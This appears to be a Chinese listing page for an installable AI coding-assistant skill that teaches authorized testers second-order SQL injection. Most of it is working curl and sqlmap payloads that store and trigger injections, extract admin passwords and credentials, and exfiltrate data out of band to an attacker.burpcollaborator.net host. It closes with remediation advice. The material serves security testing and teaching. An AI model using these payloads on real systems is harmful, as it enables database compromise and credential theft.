mcpField
P
performing-second-order-sql-injection

performing-second-order-sql-injection

github.com/mukul975安全35.2k160 次安装8 周前更新
代码仓库

关于 performing-second-order-sql-injection

这份技能为授权渗透测试人员讲解二阶 SQL 注入测试,即数据先被存储、之后在另一操作中触发的注入。内容包括定位存储点与触发点、使用 SQLMap 测试以及盲注验证。

主要功能

  1. 01定位数据存储点与触发点
  2. 02构造并存储测试载荷
  3. 03使用 SQLMap 进行二阶测试
  4. 04通过响应差异验证盲注
  5. 05追踪跨请求应用流程

适用场景

  1. 01测试用户资料的后续处理
  2. 02评估管理面板对提交数据的处理
  3. 03检查报告或导出流程中的查询
  4. 04验证存储过程使用已存数据的路径

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-second-order-sql-injection

安装后在 Claude Code 中输入/performing-second-order-sql-injection确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

执行二阶 SQL 注入

何时使用

  • 当一阶 SQL 注入测试显示存储在入库时进行了正确的输入清理
  • 在对用户生成内容存储在数据库中的应用进行渗透测试时
  • 在测试存储数据会用于后续数据库查询的多步骤工作流时
  • 在评估会显示或处理用户提交数据的管理面板时
  • 在评估使用此前存储数据的存储过程执行路径时

前置条件

  • 用于跨应用流程跟踪请求的 Burp Suite Professional
  • 支持二阶注入(--second-url 标志)的 SQLMap
  • 理解 SQL 注入基础知识和盲注提取技术
  • 两个或更多应用功能(一个用于存储数据,另一个用于触发执行)
  • 数据库错误消息监控或盲注技术知识
  • 多个用户账户,用于在不同上下文中测试存储的数据

工作流

步骤 1 — 识别存储点和触发点
# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
#    - User registration (username, email, address)
#    - Profile update forms
#    - Comment/review submission
#    - File upload metadata
#    - Order/booking details

# 2. TRIGGER POINTS: Where stored data is used in queries
#    - Admin panels displaying user data
#    - Report generation
#    - Search functionality using stored preferences
#    - Password reset using stored email
#    - Export/download features

# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
  -d "username=admin'--&password=test123&[email protected]"
步骤 2 — 通过存储点注入 payload
# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
  -d "username=test' OR '1'='1'--&password=Test1234&[email protected]"

# Store injection in profile fields
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"

# Store injection in address field
curl -X POST http://target.com/api/address \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "address=123 Main St' OR 1=1--&city=Test&zip=12345"

# Store injection in comment/review
curl -X POST http://target.com/api/review \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
步骤 3 — 触发已存储 payload 的执行
# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "old_password=Test1234&new_password=NewPass123"

# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users

# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data

# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations

# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"
步骤 4 — 使用 SQLMap 进行二阶注入
# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
  --data="username=*&password=test&[email protected]" \
  --second-url="http://target.com/profile" \
  --cookie="session=AUTH_TOKEN" \
  --batch --dbs

# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
  --data="display_name=*" \
  --second-req=trigger_request.txt \
  --cookie="session=AUTH_TOKEN" \
  --batch --tables

# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN
步骤 5 — 盲注二阶提取
# Boolean-based blind: Check if stored payload causes different behavior
# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile

# Time-based blind second-order
# Store: test'; WAITFOR DELAY '0:0:5'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test'; WAITFOR DELAY '0:0:5'--"

# Out-of-band extraction via DNS
# Store: test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"
步骤 6 — 升级为完整的数据库攻陷
# Once injection is confirmed, enumerate database
# Store UNION-based payload
curl -X POST http://target.com/api/profile \
  -d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--"

# Extract credentials
curl -X POST http://target.com/api/profile \
  -d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--"

# Trigger execution and read results
curl http://target.com/profile

关键概念

概念描述
二阶注入SQL payload 被安全存储,随后在后续操作中被不安全地执行
存储点将恶意输入保存到数据库的应用功能
触发点检索存储数据并将其用于不安全查询的独立功能
可信数据假设开发者假设数据库中存储的数据是安全的,从而跳过参数化
存储过程链通过使用此前保存的用户数据的存储过程进行注入
延迟执行payload 可能直到初始存储数小时或数天后才执行
跨上下文注入一个用户存储的数据在另一个用户的上下文中触发执行

工具与系统

工具用途
SQLMap自动化 SQL 注入,支持 --second-url 以进行二阶攻击
Burp Suite跨存储端点和触发端点进行请求跟踪与比较
OWASP ZAP带注入检测的自动化扫描
Commix支持二阶技术的自动化命令注入工具
自定义 Python 脚本构建自动化的存储并触发利用链
DBeaver/DataGrip直接访问数据库以验证存储的 payload

常见场景

  1. 基于用户名的攻击 — 使用 SQL 注入 payload 作为用户名注册;当管理员查看用户列表时,payload 会执行
  2. 密码更改利用 — 在用户名中存储注入;更改密码时,应用会在不安全的 UPDATE 查询中使用存储的用户名
  3. 报告生成攻击 — 在存储的数据字段中注入 payload;触发报告生成时会在聚合查询中使用存储的数据
  4. 跨用户注入 — 在共享数据字段(评论、评价)中注入 payload,当另一个用户或管理员处理该数据时触发
  5. 导出功能利用 — 在个人资料数据中注入 payload,在 CSV/PDF 导出操作期间触发

输出格式

## Second-Order SQL Injection Report
- **Target**: http://target.com
- **Storage Point**: POST /register (username field)
- **Trigger Point**: GET /admin/users (admin panel)
- **Database**: MySQL 8.0

### Attack Flow
1. Registered user with username: `admin' UNION SELECT password FROM users--`
2. Application stored username safely using parameterized INSERT
3. Admin panel retrieves usernames with unsafe string concatenation in SELECT
4. Injected SQL executes, revealing all user passwords in admin view

### Data Extracted
| Table | Columns | Records |
|-------|---------|---------|
| users | username, password, email | 150 |
| admin_tokens | token, user_id | 3 |

### Remediation
- Use parameterized queries for ALL database operations, including reads
- Never trust data retrieved from the database as safe
- Implement output encoding when displaying database content
- Apply least-privilege database permissions
- Enable SQL query logging for detecting injection attempts

评论

支持 Markdown